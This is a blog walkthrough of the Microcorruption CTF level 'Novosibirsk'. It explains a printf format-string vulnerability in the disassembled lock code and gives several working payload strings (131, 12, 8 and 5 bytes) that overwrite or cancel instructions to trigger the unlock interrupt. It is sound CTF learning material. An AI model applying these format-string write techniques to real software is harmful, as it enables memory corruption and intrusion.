Microcorruption (Embedded Security CTF): Novosibirsk

I did this one after Addis Ababa, full of excitement from my recently gained string format bug powers.  It took a lot of trail and error, but I finally solved this level.

However, I looked at the Novosibirsk rankings and noticed that a lot of folks did it in far, far fewer bytes than I did.  So, this post will show the kind of clunky solution that I first came up with, and then how to do it “the smart way”.

Release Notes

There’s nothing too interesting going on here.  We’re only asking for a username, but the release notes say that:

We have improved the security of the lock by ensuring passwords can not be too long.

¯\_(ツ)_/¯¯

Novosibirsk Software

Again, nothing too interesting going on here.  We’ve got main, which looks like this:

4438 <main>
4438:  0441           mov	sp, r4
443a:  2453           incd	r4
443c:  3150 0cfe      add	#0xfe0c, sp
4440:  3012 da44      push	#0x44da "Enter your username below to authenticate.\n"
4444: b012 c645       call #0x45c6 <printf>
4448: b140 0645 0000  mov #0x4506 ">> ", 0x0(sp)
444e: b012 c645       call #0x45c6 <printf>
4452: 2153            incd sp
4454: 3e40 f401       mov #0x1f4, r14
4458:  3f40 0024      mov	#0x2400, r15
445c:  b012 8a45      call	#0x458a <getsn>
4460:  3e40 0024      mov	#0x2400, r14
4464:  0f44           mov	r4, r15
4466:  3f50 0afe      add	#0xfe0a, r15
446a:  b012 dc46      call	#0x46dc <strcpy>
446e:  3f40 0afe      mov	#0xfe0a, r15
4472:  0f54           add	r4, r15
4474:  0f12           push	r15
4476:  b012 c645      call	#0x45c6 <printf>
447a:  2153           incd	sp
447c:  3f40 0a00      mov	#0xa, r15
4480:  b012 4e45      call	#0x454e <putchar>
4484:  0f44           mov	r4, r15
4486:  3f50 0afe      add	#0xfe0a, r15
448a:  b012 b044      call	#0x44b0 <conditional_unlock_door>
448e:  0f93           tst	r15
4490:  0324           jz	#0x4498 <main+0x60>
4492:  3012 0a45      push	#0x450a "Access Granted!"
4496:  023c           jmp	#0x449c <main+0x64>
4498:  3012 1a45      push	#0x451a "That username is not valid."
449c:  b012 c645      call	#0x45c6 <printf>
44a0:  0f43           clr	r15
44a2:  3150 f601      add	#0x1f6, sp

There’s a bunch of printfs.  The one at 0x4476 looks to be the one that prints up our input, so we’ll want to focus on that.

There’s also a call to conditional_unlock_door:

First Attempt(s)

This time, we printf before we call the conditional_unlock_door function.  We can see on line 0x4454 that we’re allowing for a very large number of chars to be accepted, by sending 0x1f4 as a parameter to the gets function.

4454:  3e40 f401      mov	#0x1f4, r14
4458:  3f40 0024      mov	#0x2400, r15
445c:  b012 8a45      call	#0x458a <getsn>

So, we have leeway to enter in a giant username (that will then be printed), but what can we do with that?  Overwrite something?  (prolly)

In the Whitehorse and Montevideo levels, we also had a conditional unlock function.  There, we used a buffer overflow to jump to the interrupt, and overwrite it with a different kind of code.

In this level, there is no return at the end of main that would let us repeat that strategy (use a buffer overflow to reroute the program flow).  So instead, I expect that we’ll have to take advantage of the printf and use some string format magic, like in the Addis Ababa level.

If we take another look at the conditional unlock function, we see that a value is read into 0x4206 (or -0x4(r4)).

Then later in the function, this is the return value that is passed into r15 and examined later.

44ce:  5f44 fcff      mov.b	-0x4(r4), r15

I’m not really sure why I thought this would work, but I guess it was some extra printf string format practice for me.  😅 Even if we could get that r15 value overwritten, it would just print up that we were successful, without actually unlocking the door.  Siiiigh.

I should have taken better notes at this point (it was before the holidays, and then I got sidetracked from writing a blog post until after New Years).  Just know that there was a lot of flailing and dead ends.  None of the values I wanted to overwrite either were overwritable, or they didn’t stay overwritten, or they didn’t get me closer to my goal.

It’s assembler, Jim

Finally, I had the idea to use the assembler tool.  Instead of overwriting a value, could I overwrite instructions, and replace it with my own instruction?

Rather than stick with the 0x7E (conditional) interrupt type, what if we could switch it to an unconditional, 0x7F interrupt type by overwriting the instruction itself, rather than a variable that contains 7E (like we have done in previous levels)?

If we look at this line:

44c6:  3012 7e00      push	#0x7e

We can dump the 3012 7e00 in the assembler, hit Disassemble and see that it returns push #0x7e.  If we change this slightly and say 3012 7e00 we see that, as expected, that pushes 0x7f instead.

Can we use a string format vulnerability + printf to overwrite that part of memory so the instruction pushes 7f instead of 7e?

The location of that assembly starts at 0x44c6, and the part we want to overwrite is at 0x44c8.

As in the last level, we want to use %x%n at the end of the string.  In hex, that is 2578256e.  Why %x and %n?

The %x lets us read information from the stack.  Then, %x lets us write the number of characters thus far into the address that we specified.

In short, the strategy is:  0x7f bytes’ worth of characters in total, with the 2578256e (four bytes) at the end.  We want to make sure that the %x reads the address we want to overwrite (0x44c8).

The structure of our attack string is then:

The resulting monstrosity of an attack string is:

c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844c844202578256e

If we set a breakpoint at 0x46b0 in the printf function, and step a few times, we can see that our address of 0x44c8 is correctly loaded, and the value 0x7f will be written there:

Then, if we set a breakpoint in the conditional_unlock_door function, we see that our target line was overwritten.

If you let the program continue running, the door will be unlocked.  Yay!

The Smart Way

Of course, once I unlocked the door, I checked the level rankings and saw that my input of 131 bytes was reaaaally bad compared to the winning length of 5 bytes.  What the hell??

There were also a number of answers at 8 bytes.  While I was happy to have beaten this level, I wanted to beat it… better.  So I started reading and found this post.  Normally, I’d want to struggle through the problem on my own, but with the holidays, that didn’t really happen.  I think there’s still value in walking through other people’s solutions, so that’s what I’ll do here.

12 Bytes

The original poster of the Reddit question said that they had a string of 12 bytes.  This was their answer:

d644256e1e530e12b0123645

What’s going on here, and why does it work?

We can see from the 256e (%n) that they’re using a string input vulnerability.  The previous 4 bytes are d644 which is likely the address we’re trying to overwrite, or 0x44d6.

As for the rest of it, they said that they’re overwriting a pop instruction to return somewhere else (not unlike other times that we’ve had to reroute the program flow).

0x44d6 is a line in the conditional_unlock_door function and previously contained:

44d6:  3441           pop	r4

If we throw the rest of the 12-byte input into the disassembler tool, we get:

Increment r14 (from 0x7e to 0x7f), push it onto the stack, and then call 0x4536, which is our interrupt function.  At this point in the conditional_unlock_door function, we’ve already called the interrupt and failed.  This will cause us to call the interrupt again, this time unconditionally.

When I was doing this challenge the clunky way, I thought that I only had one byte’s worth of change that I could make.  This approach shows that you have more than that, because you end up executing code in the 0x2400 block (where user input is stored):

How did we end up here?  We can set a breakpoint around 0x46b0 in the printf function and see that we overwrite the value of 0x44d6.  It is overwritten with a value of 0x02, since there were 2 bytes preceding the %x.

In other words, we went from:

44d0:   fcff 8f11 3152 3441 3041 456e 7465 7220

To:

44d0:   fcff 8f11 3152 0200 3041 456e 7465 7220

Then, when we get to the conditional_unlock_door function, we see there is an overwritten line.  When we step to it, it (0x0200) is interpreted as:  rrc sr.

This appears not to do anything (we can step again to the ret line).  Our program gets off into the weeds, then the program counter and stack pointer can both be found in the 0x2400 block, as shown above.

OP says “Just by dumb luck, it eventually ends up returning to r4, which is right before the stack, and runs the string.”

Let’s see if we can find a better way.

8 Bytes

Another user says they got an eight byte solution by “taking advantage of garbage data” at the end of the program, in the 0xff80 to 0xffff range.

Their solution was:

83ffc8442573256e

We can see once again that it’s a string format vulnerability.  The last 4 bytes 2573256e are the hex representation of %s%n

The previous 4 bytes are presumably addresses that we want to use… 0xff83 (unaligned addr?) and 0x44c8.

If set some breakpoints in the printf function (after we have found a 0x6e value), we can see that the value of 0x7f is being loaded into 0x44c8, which is what I did with my solution, but in much less elegant way.

If we run the program, we’ll see that this line is overwritten to push 0x7f , just as my solution did:

44c6: 3012 7e00 push #0x7e

How does the value of 0x7f get into the right place for this attack to work?  Stepping through once again with the printf function, we can see that the %s is doing a lot of work here.  We start reading at address 0xff83 and read until we find a 00.  In other words, this answer is reading 7f bytes of nonsense (and printing it up), then when we get to our %n string, we load that value of 0x7f into the address specified (0x44c8).  Much cleaner, and shorter, than my answer.

5 Bytes

Lastly, let’s see how the 5 byte solution worked.

5245256e7f

Again, some kind of string format attack (256e -> %x), what is presumably an address of 4552, and the value 0x7f.

As the user describes, you need two bytes for the %x instruction, and two bytes to provide the address.

If you want to increase the counter to 0x7f, as in the 12 byte answer, you need more bytes.  So, all we can do here is write 0x02 somewhere, which will result in an instruction of 0x0200, or rrc sr as we saw earlier.

In that earlier solution, it appeared to be a nop, which the user confirms in their post.

Their approach is to find an instruction to cancel, rather than one to change.  So what do they cancel?  Clearly, the instruction at 0x4552, which is the first two bytes of their answer.  0x4552 is an instruction in the putchar function, which is frequently called from the printf function.

4552: 0312 push #0x0

The user said:

I realized that the value immediately following the 0x0 pushed by the function at address 4522 was the last byte of my input.

After the 6e byte is read in, we then print out 7f, which means we need to call the putchar function.  We can see that the expected line has been overwritten:

At this point, r15 is still 0x7f because we juuust processed that byte in the printf function.  So, r15 (which is 0x7f) gets pushed onto the stack (into address 0x41f0).  Additionally, it gets moved into an address 4 bytes after the stack pointer.  Then, we call the interrupt function.

We get a value from 2 bytes after the stack pointer, and move that into r14 (which gets moved into r15, which then determines the type of interrupt).  Happily, we have 0x7f in that location because of our “push r15 onto the stack” instruction, so we’ll trigger an unconditional unlock interrupt.  Woo!

Novosibirsk Solutions

To recap, there are (at least) 4 different approaches.  All take advantage of the string format vulnerability in printf to either rewrite an instruction or skip an instruction, with the end goal of triggering a 0x7f type interrupt.

In order, the answers are:

Type solve and then enter a solution of your choice to complete this level.  : )